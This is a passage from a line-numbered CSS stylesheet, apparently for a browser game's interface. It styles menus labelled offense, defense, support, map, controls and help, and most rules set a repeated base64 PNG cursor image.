v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1624 }
1625
1626 #mm-main-menu {
1627 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1628 font-size: 12px;
1629 user-select: none;
1630 color: #fff;
1631 font-family: Verdana,sans-serif;
1632 box-sizing: border-box;
1633 position: relative;
1634 height: 100%;
1635 padding: .5em 1em;
1636 border-top: none;
1637 margin-left: 130px;
1638 display: none;
1639 }
1640 #mm-offense-menu {
1641 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1642 font-size: 12px;
1643 user-select: none;
1644 color: #fff;
1645 font-family: Verdana,sans-serif;
1646 box-sizing: border-box;
1647 position: relative;
1648 height: 100%;
1649 padding: .5em 1em;
1650 border-top: none;
1651 margin-left: 130px;
1652 display: block;
1653 }
1654
1655 #mm-defense-menu {
1656cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1657font-size: 12px;
1658user-select: none;
1659color: #fff;
1660font-family: Verdana,sans-serif;
1661box-sizing: border-box;
1662position: relative;
1663height: 100%;
1664padding: .5em 1em;
1665border-top: none;
1666margin-left: 130px;
1667display: none;
1668 }
1669
1670 #mm-support-menu {
1671cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1672font-size: 12px;
1673user-select: none;
1674color: #fff;
1675font-family: Verdana,sans-serif;
1676box-sizing: border-box;
1677position: relative;
1678height: 100%;
1679padding: .5em 1em;
1680border-top: none;
1681margin-left: 130px;
1682display: none;
1683 }
1684 #mm-map-menu {
1685cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1686font-size: 12px;
1687user-select: none;
1688color: #fff;
1689font-family: Verdana,sans-serif;
1690box-sizing: border-box;
1691position: relative;
1692height: 100%;
1693padding: .5em 1em;
1694border-top: none;
1695margin-left: 130px;
1696display: none;
1697 }
1698 #mm-controls-menu {
1699cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1700font-size: 12px;
1701user-select: none;
1702color: #fff;
1703font-family: Verdana,sans-serif;
1704box-sizing: border-box;
1705position: relative;
1706height: 100%;
1707padding: .5em 1em;
1708border-top: none;
1709margin-left: 130px;
1710display: none;
1711 }
1712 #mm-help-menu {
1713cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1714font-size: 12px;
1715user-select: none;
1716color: #fff;
1717font-family: Verdana,sans-serif;
1718box-sizing: border-box;
1719position: relative;
1720height: 100%;
1721padding: .5em 1em;
1722border-top: none;
1723margin-left: 130px;
1724display: none;
1725 }
1726
1727
1728
1729 .i-tab-container {
1730 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1731 font-size: 12px;
1732 user-select: none;
1733 color: #fff;
1734 font-family: Verdana,sans-serif;
1735 box-sizing: border-box;
1736 width: 100%;
1737 height: 100%;
1738 background-color: #266B75;
1739 }
1740
1741 .i-tab-menu, .sidebar {
1742 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADq0lEQVRIS62VfWhTVxiHf+fem5sU7OwY0ylF2qZ2WKHKolVaqq1toBNEULv+IdtwBbGGCkVnq2MZ6wpDRZgMttUPWgcm1M90xn4gWh2rTKnT+oltvtOt2Iy022qaJjc5e2+qrAxGjUvg5V445z7Pec/v3FyWlZU1zDnf4PV67wLgVCn9sewlSzif/+ZN5vVXu91ub0rpBGM5a9dwYctGxL497nY/eqxPdRcst6yMv3HsBEIHD2Hico9DFIUih8MRSFUn7O21ZVx/5CTSpoCnR7+Gv6e9V6OTq1MlYUtL1vHC5lNIiwC6UBz3rAcwdMN22+vzrUhFF2xZUTlf39ieEKRFBcyJSzh3ohZDzp+uiKK42eVy/fF/RMywuoK/X3cWOrUDEugUAelMg47uzyI9dy0todDk/kAgMPGqEraqsILvqrkAbZQRXIQuxqBVGCQlDMvPzZMX75/Z7/F4vnplQdEKIzdv7SCoAG1MgBwnAZWGM8SUcXx6eQdu/3prM72IHSSJJStiJQYjP1xlhxwTIRNUotIQRWJ0z4DApAfmq7uDAyN3ttGLaKeheDISVvqOkbds6iSwCAnTUEkARLWk6XoSfIiP7XW/+8a9xRT6YFKCdST4flMXRCZOQ8V/wJQ1BComA/YHNnz+gxmT0dBip9PpeFkJKyfB6eouCEQWnq84ASZo4qollHpPdfqmFfuON44KkvAeBX/9ZSSsgkK+8GEXmESCGWBGYBWqFl5I6No90I2afdt8Wq22lIJ3zyZhxkIj76ilDjQiVKi68sSKn0N/dPVi5K8RhJUpTEXDiEQj6OvvQ/8v/X4KfdHsgtVGfnEvZSCTgMCDgUEsfGsB0l9PT6x81+E6dPZeCtA345sZMC4IQoQC/3J2QbGRX/qCOiCB55kLVXuqcMh8EGWGcqjndTw2huUlywZpS1bSH+CfswH/Pc6Ma0hwpBPDoWEUVxWN6bS68xPPJjb4B4bnyWnUEklqTB/xa9evmWlLmpMWlJdW8Ma6BjQ0NziDY8FP6HS0Z2dnn9m5Y+eW3fV76MwCDucQKisr7YqifODz+caSkbC8vDw+97W5/aOB0e10Ku6oD+v1+nmZmZlPbTYbMjIyEA6H0dTUpFgslgKa8zgpQU5OzlUKsJbafzLzQRK0mEym7fX19aAxtLa2xq1W63d+v9+UlOC/Jufm5uoLCgr68vPz57e1td2SZdkWjUZPkuC3lAgMBoMmGAy+G4/H1e+zh7ZmJBnwi7l/A8cKjSjK8EZAAAAAAElFTkSuQmCC") 0 0 , auto !important;
1743 font-size: 12px;
1744 user-select: none;
1745 color: #fff;
1746 font-family: Verdana,sans-serif;
1747 box-sizing: border-box;
1748 position: relative;
1749 background-color: #333;
1750 display: block;
1751 overflow: auto;
1752 float: left;
1753 width: 130px;
1754 height: 100%;
1755 box-shadow: 0 2px 5px 0 rgba(0,0,0,.16),0 2px 10px 0 rgba(0,0,0,.12);
1756 }
1757
1758 .i-tab-menu-item {
1759 font-size: 12px;
1760 user-select: none;
1761 text-decoration: none;
1762 font-family: Verdana,sans-serif;
1763 box-sizing: border-box;
1764 cursor: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFqElEQVRIS61WCVATZxT+NiQBAgoeiAINETlaEJlKp1qlorVKAS9MdcaKoAJeMEW8Ci0V2zrGKaNjvQtjRVTaKVKookirU4VR6VRaRcGoKBCOMUAm4Qgs5Ni+jaKCtkOPnfmz++++/b73vndsGAw43N3dw11dXbNFItHQmpqaXWKxOK26urpnoN1g98zzhp6enkM5jsvMyspa7O3tjYSEBENZWdmU+vr664MFHGjXj8DDw0Pq6Oh4IS8vz0smkyE7OxsKhaJSqVSO/18I3NzcXO3s7M4WFhYGUDQwmUwICQmBTqcTl5eXG/4NSb8InJ2d7Uii/SUlJct9fHwseMHBwaitrZ2lUqku/GcCAmBImm3FxcVb+RzwR3x8PIqKin5mGEZjNpv9BQJB3sOHD9MoQmuDwTBRKBQ+oKP5r8j7RcAbUR5SYmNjt6ekpAj4/bWr1xAVHYWFEXLIFyxEYlIi1C3qNqmbVNKj7xGxvSw62c5FVGn5JLFDQ0NDG71m6iN8gWDs2LFvCoSCgvvK6jEwAt1sN2bOfgcZezLh5z4e9x7cxfRFwbiUcxleDj64WXUDa3et5pp1zemsgfUTi8S3VbWq5H4EJEsISRBJay+F/zv1QkXNvRpfTs+AsQLemB6IIzu+wQRZAO7eV+LdtTNxMf0SvJy8ADOHsM/fQ3tHBzKWHsXK7GVo6WyeUldXd40nYUjruFFOozJ8X/XFrcpbUDerD1Kig9I/S58QMU0OUO2Ex4RCsW4n/KUBUDWokHxoC9KjdmO0vQsYDlh7NA7Rk2IwceRkyI+F4Y66chUVRaaFYOqUqVxWxjF4uIyDVqPFxk+SUPpbaZ2/l7/7D18WgOslIyIxd5M19TO/tyy6NvNnesaZzDD2CKisgWW583BbffMZQdDUIO74gZOQDpNaALRaLeYlzIHISmSRget6DAYCswDywDwoXZsoR2ZaRv5spjOtFflzoWypeEYglUq3REZEKj6N3ioQG60tAHWtNVAcVeBgzNfgWAZG1oRHukYMFzpbwBu0KjjbusNs4tDS1QwHaxeYGQGvJpbnzkBTW+1SykFOXw5G6vX6nMT3189KCtv02FveS3KHYwUWCVrbNIjPi8HWGTvJUwGWfB+O4/LzMBCbojQZ22ZnQiIZjl4BhzUnp6GlvdGPclBlIeB/qDSdRULRlYKNZ8Z52Hlbwufl4L3lZWjt0GD9uVgkBylghgArSYbDEYWkmhG7S1OwOfQwrO2GwWzDIJWSfLX8orCvF572AZVmqJvjK+dOrSiEBA4WbfmkGWlpujTYXByLpLd3UAcJkFAwF+mLzlgIDl3+GGvmH4RwyDDcayrDd6e3tFbcLnd6aaP5ePpkxk/eELtkfBwBk/ZUgkaOQyurQepPsVgznQjIpeS8BUj9oICUNOL4xVQsWbwfJhsRzp5Og7KyiPRvsOj/VKK+DY0JryGiIZczF+aPGSGRkYccDKRrS48GivOrsGzmFzBS4ym+lSM+5pSFIL8oDWHRe9DaXovijMSsNm1rglqt1v/dqIjp6OnYlxNVZuvgKAVLBHqGxbkbR/CaXyg4G2tcKj+B14Mj0WHsQGVVMWRBc/DjplmNjJVwLlXPH88Pvhdm0